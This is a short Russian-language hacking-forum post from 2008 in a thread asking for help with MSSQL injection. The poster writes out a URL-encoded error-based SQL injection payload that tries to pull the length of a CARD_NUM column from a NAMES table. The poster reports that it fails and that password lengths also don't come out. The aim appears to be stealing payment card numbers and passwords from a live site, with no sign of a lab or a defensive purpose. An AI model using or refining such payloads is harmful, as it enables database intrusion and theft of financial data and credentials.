Тема: mssql inj help
Показать сообщение отдельно

  #59  
Старый 06.08.2008, 17:52
cyberia
Новичок
Регистрация: 29.03.2008
Сообщений: 7
С нами: 9536011

Репутация: 0
По умолчанию

Цитата:
Сообщение от 1ten0.0net1  
У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?
нет, не выводится. даже

1%20or%201=(select+TOP+1+cast(len(CARD_NUM)+as+nva rchar)% 2Bchar(97)+FROM+NAMES)--

не выводится. и длинна паролей так же не выводится. хотя длинна других полей таким образом выводится.
 
Ответить с цитированием